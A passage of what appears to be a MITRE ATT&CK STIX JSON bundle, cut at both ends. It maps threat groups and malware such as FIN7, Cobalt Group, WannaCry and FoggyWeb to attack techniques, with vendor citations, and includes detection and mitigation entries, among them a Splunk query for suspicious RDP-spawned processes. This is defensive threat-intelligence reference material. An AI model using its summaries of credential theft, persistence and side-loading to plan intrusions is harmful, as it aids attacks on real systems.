uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.","relationship_type":"detects","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--a718a0c8-5768-41a1-9958-a1cc3f995e99","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6afed42c-6a42-402a-8964-7fcde5435336","created":"2021-09-23T12:51:15.770Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant FIN7 Apr 2022","description":"Abdo, B., et al. (2022, April 4). FIN7 Power Hour: Adversary Archaeology and the Evolution of FIN7. Retrieved April 5, 2022.","url":"https://www.mandiant.com/resources/evolution-of-fin7"},{"source_name":"CrowdStrike Carbon Spider August 2021","description":"Loui, E. and Reynolds, J. (2021, August 30). CARBON SPIDER Embraces Big Game Hunting, Part 1. Retrieved September 20, 2021.","url":"https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-04T18:10:49.059Z","description":"(Citation: CrowdStrike Carbon Spider August 2021)(Citation: Mandiant FIN7 Apr 2022)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6affc901-7028-46ea-8d85-0e7d05ca9467","created":"2023-10-03T14:51:12.881Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Sygnia Elephant Beetle Jan 2022","description":"Sygnia Incident Response Team. (2022, January 5). TG2003: ELEPHANT BEETLE UNCOVERING AN ORGANIZED FINANCIAL-THEFT OPERATION. Retrieved February 9, 2023.","url":"https://f.hubspotusercontent30.net/hubfs/8776530/Sygnia-%20Elephant%20Beetle_Jan2022.pdf?__hstc=147695848.3e8f1a482c8f8d4531507747318e660b.1680005306711.1680005306711.1680005306711.1&__hssc=147695848.1.1680005306711&__hsfp=3000179024&hsCtaTracking=189ec409-ae2d-4909-8bf1-62dcdd694372%7Cca91d317-8f10-4a38-9f80-367f551ad64d"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-03T18:36:43.162Z","description":"[FIN13](https://attack.mitre.org/groups/G1016) has observed the victim's software and infrastructure over several months to understand the technical process of legitimate financial transactions, prior to attempting to conduct fraudulent transactions.(Citation: Sygnia Elephant Beetle Jan 2022)","relationship_type":"uses","source_ref":"intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4","target_ref":"attack-pattern--851e071f-208d-4c79-adc6-5974c85c78f3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6b07ae79-4f29-499a-a25e-882b8c624086","type":"relationship","created":"2022-03-25T18:59:27.036Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NTT Security Flagpro new December 2021","url":"https://insight-jp.nttsecurity.com/post/102hf3q/flagpro-the-new-malware-used-by-blacktech","description":"Hada, H. (2021, December 28). Flagpro The new malware used by BlackTech. Retrieved March 25, 2022."}],"modified":"2022-03-25T18:59:27.036Z","description":"[Flagpro](https://attack.mitre.org/software/S0696) can collect data from a compromised host, including Windows authentication information.(Citation: NTT Security Flagpro new December 2021)","relationship_type":"uses","source_ref":"malware--592260fb-dd5c-4a30-8d99-106a0485be0d","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6b083f3f-f8db-403d-b922-308b79d20cc7","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.group-ib.com/blog/cobalt","description":"Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.","source_name":"Group IB Cobalt Aug 2017"}],"modified":"2019-07-26T23:38:33.809Z","description":"[Cobalt Group](https://attack.mitre.org/groups/G0080) has injected code into trusted processes.(Citation: Group IB Cobalt Aug 2017)","relationship_type":"uses","source_ref":"intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6b0b404e-7e1b-4f8f-8b78-85016f36f8e9","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf","description":"Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.","source_name":"ESET RTM Feb 2017"}],"modified":"2020-05-12T22:13:17.030Z","description":"[RTM](https://attack.mitre.org/software/S0148) samples have been signed with a code-signing certificates.(Citation: ESET RTM Feb 2017)","relationship_type":"uses","source_ref":"malware--92ec0cbd-2c30-44a2-b270-73f4ec949841","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6b11697f-be6c-4cd7-b445-4d277a8d7346","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft Winnti Jan 2017","description":"Cap, P., et al. (2017, January 25). Detecting threat actors in recent German industrial attacks with Windows Defender ATP. Retrieved February 8, 2017.","url":"https://blogs.technet.microsoft.com/mmpc/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with-windows-defender-atp/"},{"source_name":"Novetta Winnti April 2015","description":"Novetta Threat Research Group. (2015, April 7). Winnti Analysis. Retrieved February 8, 2017.","url":"https://web.archive.org/web/20150412223949/http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-20T22:02:53.993Z","description":"The [Winnti for Windows](https://attack.mitre.org/software/S0141) installer loads a DLL using rundll32.(Citation: Microsoft Winnti Jan 2017)(Citation: Novetta Winnti April 2015)","relationship_type":"uses","source_ref":"malware--d3afa961-a80c-4043-9509-282cdf69ab21","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--6b15c0bd-7b39-408b-91fa-cf942a52a933","created":"2022-02-01T20:08:16.684Z","x_mitre_version":"1.0","external_references":[{"source_name":"Kaspersky WIRTE November 2021","url":"https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044","description":"Yamout, M. (2021, November 29). WIRTE’s campaign in the Middle East ‘living off the land’ since at least 2019. Retrieved February 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Ferocious](https://attack.mitre.org/software/S0679) can run GET.WORKSPACE in Microsoft Excel to check if a mouse is present.(Citation: Kaspersky WIRTE November 2021)","modified":"2022-04-16T21:49:31.682Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--73d08401-005f-4e1f-90b9-8f45d120879f","target_ref":"attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--6b184c8f-99d6-4af2-8c01-34fc5d6d89e3","created":"2019-01-30T13:24:09.060Z","x_mitre_version":"1.0","external_references":[{"source_name":"Securelist Octopus Oct 2018","url":"https://securelist.com/octopus-infested-seas-of-central-asia/88200/","description":"Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Octopus](https://attack.mitre.org/software/S0340) can collect the host IP address from the victim’s machine.(Citation: Securelist Octopus Oct 2018)","modified":"2022-04-06T17:23:47.253Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--e2031fd5-02c2-43d4-85e2-b64f474530c2","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6b19a5ae-3f6a-4950-94da-22d94477d5d2","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/","description":"Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.","source_name":"Palo Alto Networks BBSRAT"}],"modified":"2019-04-24T23:10:02.413Z","description":"DLL side-loading has been used to execute [BBSRAT](https://attack.mitre.org/software/S0127) through a legitimate Citrix executable, ssonsvr.exe. The Citrix executable was dropped along with [BBSRAT](https://attack.mitre.org/software/S0127) by the dropper.(Citation: Palo Alto Networks BBSRAT)","relationship_type":"uses","source_ref":"malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6b1cc49f-8d94-4f59-a723-2a70c3edf760","type":"relationship","created":"2020-05-26T16:17:59.430Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Anomali Rocke March 2019","url":"https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang","description":"Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019."}],"modified":"2020-06-11T19:52:07.425Z","description":"[Rocke](https://attack.mitre.org/groups/G0106) has installed an \"init.d\" startup script to maintain persistence.(Citation: Anomali Rocke March 2019)\t","relationship_type":"uses","source_ref":"intrusion-set--44102191-3a31-45f8-acbe-34bdb441d5ad","target_ref":"attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6b1fd87c-b8d1-4ea1-9cc3-bc4fb1cd2fbd","type":"relationship","created":"2021-02-09T18:36:22.109Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Volatile Cedar March 2015","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf","description":"Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021."}],"modified":"2021-02-09T18:36:22.109Z","description":"[Explosive](https://attack.mitre.org/software/S0569) has collected the username from the infected host.(Citation: CheckPoint Volatile Cedar March 2015) ","relationship_type":"uses","source_ref":"malware--6a21e3a4-5ffe-4581-af9a-6a54c7536f44","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6b22c256-44a9-4b73-8df6-e4da9c32a5a3","type":"relationship","created":"2019-03-26T13:38:24.564Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"LogRhythm WannaCry","url":"https://logrhythm.com/blog/a-technical-analysis-of-wannacry-ransomware/","description":"Noerenberg, E., Costis, A., and Quist, N. (2017, May 16). A Technical Analysis of WannaCry Ransomware. Retrieved March 25, 2019."}],"modified":"2020-03-27T20:07:01.402Z","description":"[WannaCry](https://attack.mitre.org/software/S0366) enumerates current remote desktop sessions and tries to execute the malware on each session.(Citation: LogRhythm WannaCry)","relationship_type":"uses","source_ref":"malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661","target_ref":"attack-pattern--e0033c16-a07e-48aa-8204-7c3ca669998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6b2770ca-bf5d-4994-8a7e-868c906f385a","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 VERMIN Jan 2018","description":"Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/"}],"modified":"2020-03-30T03:06:04.464Z","description":"[VERMIN](https://attack.mitre.org/software/S0257) encrypts the collected files using 3-DES.(Citation: Unit 42 VERMIN Jan 2018)","relationship_type":"uses","source_ref":"malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6b2cd244-a02f-4b76-85d9-a429a298f016","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Periscope March 2018","description":"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"}],"modified":"2019-04-25T12:24:57.291Z","description":"[Leviathan](https://attack.mitre.org/groups/G0065) has used WMI for persistence.(Citation: FireEye Periscope March 2018)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--6b2e4ea0-1d04-4cf5-8ca8-72b311e20737","created":"2022-04-15T17:07:09.889Z","x_mitre_version":"0.1","external_references":[{"source_name":"MSTIC FoggyWeb September 2021","url":"https://www.microsoft.com/security/blog/2021/09/27/foggyweb-targeted-nobelium-malware-leads-to-persistent-backdoor/","description":"Ramin Nafisi. (2021, September 27). FoggyWeb: Targeted NOBELIUM malware leads to persistent backdoor. Retrieved October 4, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[FoggyWeb](https://attack.mitre.org/software/S0661) can retrieve token signing certificates and token decryption certificates from a compromised AD FS server.(Citation: MSTIC FoggyWeb September 2021)","modified":"2022-04-15T17:07:09.889Z","relationship_type":"uses","source_ref":"malware--72911fe3-f085-40f7-b4f2-f25a4221fe44","target_ref":"attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6b307e36-0d55-43af-864d-095fb78dd711","created":"2022-03-30T14:26:51.865Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T19:16:53.328Z","description":"Monitor for newly executed processes (such as mstsc.exe) that may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions that spawn additional processes as the logged-on user.\n\nAnalytic 1 - Unusual processes associated with RDP sessions\n\n sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=1 \n| search (parent_process=\"mstsc.exe\" OR parent_process=\"rdpclip.exe\")\n| table _time, host, user, process_name, parent_process, command_line\n| where process_name!=\"expected_processes\"","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6b38f460-e309-4ab1-bbc9-bd0bb30f4af9","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity PowerDuke November 2016","description":"Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.","url":"https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"}],"modified":"2019-04-22T22:31:38.506Z","description":"[PowerDuke](https://attack.mitre.org/software/S0139) has commands to get the time the machine was built, the time, and the time zone.(Citation: Volexity PowerDuke November 2016)","relationship_type":"uses","source_ref":"malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6b39985b-2e2f-4d54-9211-aef4d94b318f","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"F-Secure The Dukes","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"}],"modified":"2020-03-30T01:00:52.710Z","description":"[OnionDuke](https://attack.mitre.org/software/S0052) uses Twitter as a backup C2.(Citation: F-Secure The Dukes)","relationship_type":"uses","source_ref":"malware--b136d088-a829-432c-ac26-5529c26d4c7e","target_ref":"attack-pattern--9c99724c-a483-4d60-ad9d-7f004e42e8e8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6b429676-7b77-4453-a6ce-2d6a6cb0dfe7","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?","description":"Higgins, K. (2015, October 13). Prolific Cybercrime Gang Favors Legit Login Credentials. Retrieved October 4, 2017.","source_name":"DarkReading FireEye FIN5 Oct 2015"},{"url":"https://www.youtube.com/watch?v=fevGZs0EQu8","description":"Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.","source_name":"Mandiant FIN5 GrrCON Oct 2016"}],"modified":"2021-09-20T15:58:58.854Z","description":"[FIN5](https://attack.mitre.org/groups/G0053) has has used the tool GET2 Penetrator to look for remote login and hard-coded credentials.(Citation: DarkReading FireEye FIN5 Oct 2015)(Citation: Mandiant FIN5 GrrCON Oct 2016)","relationship_type":"uses","source_ref":"intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022","target_ref":"attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6b433ac2-3801-47d7-973b-145408197f4f","type":"relationship","created":"2022-03-30T14:26:51.876Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.876Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6b43b9ca-a916-44da-9ba5-917f03984157","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Catchamas April 2018","description":"Balanza, M. (2018, April 02). Infostealer.Catchamas. Retrieved July 10, 2018.","url":"https://www-west.symantec.com/content/symantec/english/en/security-center/writeup.html/2018-040209-1742-99"}],"modified":"2021-02-09T14:49:32.541Z","description":"[Catchamas](https://attack.mitre.org/software/S0261) adds a new service named NetAdapter to establish persistence.(Citation: Symantec Catchamas April 2018)","relationship_type":"uses","source_ref":"malware--8d9e758b-735f-4cbc-ba7c-32cd15138b2a","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6b46c35d-aa25-430c-89a2-d8f512478122","type":"relationship","created":"2020-03-12T19:29:21.104Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-12T19:29:21.104Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b","target_ref":"attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6b47884a-47ac-4f0a-9d5b-3c6eb0efd761","type":"relationship","created":"2021-05-06T14:54:26.296Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Check Point APT34 April 2021","url":"https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/","description":"Check Point. (2021, April 8). Iran’s APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021."}],"modified":"2021-06-24T18:58:53.585Z","description":"[SideTwist](https://attack.mitre.org/software/S0610) has the ability to download additional files.(Citation: Check Point APT34 April 2021)","relationship_type":"uses","source_ref":"malware--df4cd566-ff2f-4d08-976d-8c86e95782de","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6b4a458b-d87a-4dc4-a375-46f4c1e6449a","type":"relationship","created":"2020-06-25T18:41:35.120Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"objective-see windtail1 dec 2018","url":"https://objective-see.com/blog/blog_0x3B.html","description":"Wardle, Patrick. (2018, December 20). Middle East Cyber-Espionage analyzing WindShift's implant: OSX.WindTail (part 1). Retrieved October 3, 2019."}],"modified":"2020-06-25T18:41:35.120Z","description":"[WindTail](https://attack.mitre.org/software/S0466) can use the open command to execute an application.(Citation: objective-see windtail1 dec 2018)","relationship_type":"uses","source_ref":"malware--0d1f9f5b-11ea-42c3-b5f4-63cce0122541","target_ref":"attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6b4cb169-cda8-49ef-a8db-188c599f50f1","type":"relationship","created":"2020-01-24T15:11:02.994Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-02-08T16:39:09.078Z","description":"Making PowerShell profiles immutable and only changeable by certain administrators will limit the ability for adversaries to easily create user level persistence.","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6b4f280e-cf3b-4644-adc7-c2792c3b1fa8","type":"relationship","created":"2022-03-30T14:26:51.849Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.849Z","description":"Monitor for newly executed processes that may gather information on Group Policy settings to identify paths for privilege escalation, security measures applied within a domain, and to discover patterns in domain objects that can be manipulated or used to blend in the environment.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--1b20efbf-8063-4fc3-a07d-b575318a301b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6b50cc7f-4284-4b29-bb70-e4184dd52691","type":"relationship","created":"2020-03-27T21:12:27.996Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-27T21:12:27.996Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--2cd950a6-16c4-404a-aa01-044322395107","target_ref":"attack-pattern--457c7820-d331-465a-915e-42f85500ccc4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6b52a0a1-0919-4817-af22-31cd6cc404ad","created":"2023-03-31T17:35:52.065Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Dragos Crashoverride 2018","description":"Joe Slowik. (2018, October 12). Anatomy of an Attack: Detecting and Defeating CRASHOVERRIDE. Retrieved December 18, 